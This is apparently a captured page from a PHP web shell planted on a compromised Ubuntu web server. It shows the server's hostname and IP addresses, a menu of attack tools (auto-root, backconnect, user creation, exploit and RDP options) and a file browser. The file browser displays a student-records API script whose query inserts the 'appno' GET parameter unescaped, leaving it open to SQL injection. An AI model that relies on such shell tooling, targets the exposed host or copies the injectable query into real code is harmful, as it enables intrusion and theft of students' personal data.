Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.139.88.246
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
misc /
public_html /
logisys /
sikkim /
[ HOME SHELL ]
Name
Size
Permission
Action
includes
[ DIR ]
drwxr-xr-x
getStudentProfileAPI.php
1.46
KB
-rwxr-xr-x
jscript.js
11.9
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : getStudentProfileAPI.php
<?php require('includes/dbconnect.php'); //include database connection //require('includes/functions.php'); //include functions $appno = str_replace(chr(34),"",stripslashes(nl2br($_GET['appno']))); $apiKey = str_replace(chr(34),"",stripslashes(nl2br($_GET['apiKey']))); //$deviceDate = str_replace(chr(34),"",stripslashes(nl2br($_GET['deviceDate']))); //$instCode = str_replace(chr(34),"",stripslashes(nl2br($_GET['instCode']))); //$branchCode = str_replace(chr(34),"",stripslashes(nl2br($_GET['branchCode']))); //$userName = str_replace(chr(34),"",stripslashes(nl2br($_GET['userName']))); $studQuery = "SELECT FNAME,FROLLNO,FAPPNO,FAMOUNT FROM studadm where FAPPNO='{$appno}'"; $studResult = $conn->query($studQuery); if(mysqli_num_rows($studResult) != 1) { $statusCode = '0'; $statusMessage = "INVALID admission number.. Please try again"; $jsonLoginArray = array("statusCode" => $statusCode, "statusMessage" => $statusMessage); $returnString = json_encode($jsonLoginArray); print $returnString; exit; } else { $row1 = mysqli_fetch_array($studResult,MYSQLI_ASSOC); $returnArray = array( "studentName" => $row1['FNAME'], "regNum" => $row1['FROLLNO'], "appNo" => $row1['FAPPNO'], "amount" => $row1['FAMOUNT'] ); $jsonLoginArray = array("statusCode" => "1", "statusMessage" => "Success", "studentDetails" => $returnArray); $returnString = json_encode($jsonLoginArray); print $returnString; } ?>
Close